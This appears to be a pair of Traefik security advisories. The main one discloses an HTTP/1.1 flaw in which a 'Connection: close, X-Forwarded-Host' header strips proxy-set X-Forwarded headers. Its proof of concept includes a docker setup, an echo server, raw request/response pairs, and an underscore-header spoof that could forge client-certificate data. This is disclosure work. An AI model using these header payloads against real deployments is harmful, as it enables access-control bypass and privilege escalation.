Alternatively, route ACME TLS-ALPN through the existing tcp.TLSHandler/HTTP server path so the configured timeouts and lifecycle management apply automatically.
CVSS v3.1 (estimate)
- Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Base score: 7.5 (High) - Rationale: Network-only, no auth/user interaction required; impact is service availability via resource exhaustion; no confidentiality or integrity impact.
Please let us know if you would like a PoC or further details. We have not made any code changes in this report.
Let us know if you have any questions or need clarification\!
Best wishes, Pavel Kohout Aisle Research </details>
Impact
There is a vulnerability in Traefik that allows the client to remove the X-Forwarded headers (except the header X-Forwarded-For).
Patches
- <a href="https://github.com/traefik/traefik/releases/tag/v2.11.9">https://github.com/traefik/traefik/releases/tag/v2.11.9</a> - <a href="https://github.com/traefik/traefik/releases/tag/v3.1.3">https://github.com/traefik/traefik/releases/tag/v3.1.3</a>
Workarounds
No workaround.
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary> Summary
When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified.
For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:
Connection: close, X-Forwarded-Host
Depending on how the receiving application handles such cases, security implications may arise. Moreover, some application frameworks (e.g. Django) first transform the "-" to "" signs, making it possible for the HTTP client to even modify these headers in these cases.
This is similar to <a href="https://access.redhat.com/security/cve/CVE-2022-31813">CVE-2022-31813</a> for Apache HTTP Server.
Details
It was found that the following headers can be removed in this way (i.e. by specifing them within a connection header):
- X-Forwarded-Host - X-Forwarded-Port - X-Forwarded-Proto - X-Forwarded-Server - X-Real-Ip - X-Forwarded-Tls-Client-Cert - X-Forwarded-Tls-Client-Cert-Info
PoC
The following docker-compose file has been used for a simple setup:
services: traefik: image: traefik:v3.1 containername: traefik ports: - "443:443" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro - ./traefik.yaml:/etc/traefik/traefik.yaml - ./traefik-certs:/certs
python-http: build: context: . dockerfile: Dockerfile containername: python-http labels: - "traefik.enable=true" - "traefik.http.routers.python-http.rule=Host(python.example.com)" - "traefik.http.routers.python-http.entrypoints=websecure" - "traefik.http.routers.python-http.tls=true" - "traefik.http.services.python-http.loadbalancer.server.port=8080"
The following traefik.yaml has been used:
providers: docker: exposedByDefault: false watch: true file: fileName: /etc/traefik/traefik.yaml watch: true
entryPoints: websecure: address: ":443"
tls: certificates: - certFile: /certs/server-cert.pem keyFile: /certs/server-key.pem
The Python container just includes a simple Python HTTP server that prints the HTTP headers it receives. Here is the Dockerfile for the container:
FROM python:3-alpine
Copy the Python script to the container COPY server.py /server.py
Set the working directory WORKDIR /
Command to run the Python server CMD ["python", "/server.py"]
And here is the Python script:
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler): def sendresponse(self): self.sendresponse(200) self.sendheader("Content-type", "text/plain") self.endheaders() self.wfile.write(str(self.headers).encode("utf-8"))
def doGET(self): self.sendresponse()
if name == "main": server = HTTPServer(('0.0.0.0', 8080), RequestHandler) print("Server started on port 8080") server.serveforever()
The environment is run with sudo docker-compose up.
A normal HTTP request/response pair looks like this:
Request 1
GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close
Response 1
HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:53:49 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 556
Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Host: python.example.com X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1
The custom headers added by Traefik can be seen in the response.
Next, a request, where the X-Forwarded-Host header is defined as a hop-by-hop header via the Connection header is sent:
Request 2
GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i Connection: close, X-Forwarded-Host
Response 2
Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1
As can be seen from the response, the X-Forwarded-Host header that had been added by Traefik has been removed from the request.
Moreover, the next request/response pair demonstrates that a custom header with underscore instead of hyphen can be added:
Request 3
GET / HTTP/1.1 Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i XForwardedHost: myhost Connection: close, X-Forwarded-Host
Response 3
HTTP/1.1 200 OK Content-Type: text/plain Date: Tue, 03 Sep 2024 06:54:48 GMT Server: BaseHTTP/0.6 Python/3.12.5 Connection: close Content-Length: 544
Host: python.example.com User-Agent: Mozilla/5.0 (X11; Linux x8664) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Priority: u=0, i X-Forwarded-For: 172.20.0.1 X-Forwarded-Port: 443 X-Forwarded-Proto: https X-Forwarded-Server: 3138fe4f0a2e X-Real-Ip: 172.20.0.1 Xforwardedhost: myhost
Some backend frameworks (e.g. Django) handle X-Forwarded-Host and Xforwardedhost in the same way. As there is no X-Forwarded-Host header present in the request, the Xforwardedhost header will be used.
It should be noted that when X-Forwarded-Host is present and a Xforwardedhost header is sent, usually the first occurence of the header will be used, which is in this case X-Forwarded-Host.
It should be noted that the headers X-Forwarded-Tls-Client-Cert and X-Forwarded-Tls-Client-Cert-Info are also affected. Here, client certificate authentication would need to be enabled in the Traefik setup.
Impact
All applications that trust the custom headers set by Traefik are affected by this vulnerability. As an example, assume that a backend application trusts Traefik to validate client certificates and trusts therefore the values that are sent within the X-Forwarded-Tls-Client-Cert header, but does not validate the certificate anew.
If the header is removed via the vulnerability, and the application framework allows for alternative names (e.g. by transforming the headers to lower case, and "-" to ""), an attacker can place his own XForwardedTLSClientCert header in the request. This could lead to privilege escalation, as the attacker may put an (invalid) certificate in this header that would just be accepted by the application, but may contain other data than the certificate that is presented to Traefik for Client Certificate Authentication.
Moreover, if the backend application uses any of the other custom headers for security-sensitive operations, the removal or modification of these headers may also security implications (e.g. access control bypass).
The severity is the same as for <a href="https://access.redhat.com/security/cve/CVE-2022-31813">CVE-2022-31813</a> for Apache HTTP Server, i.e. 9.8 Critical. </details>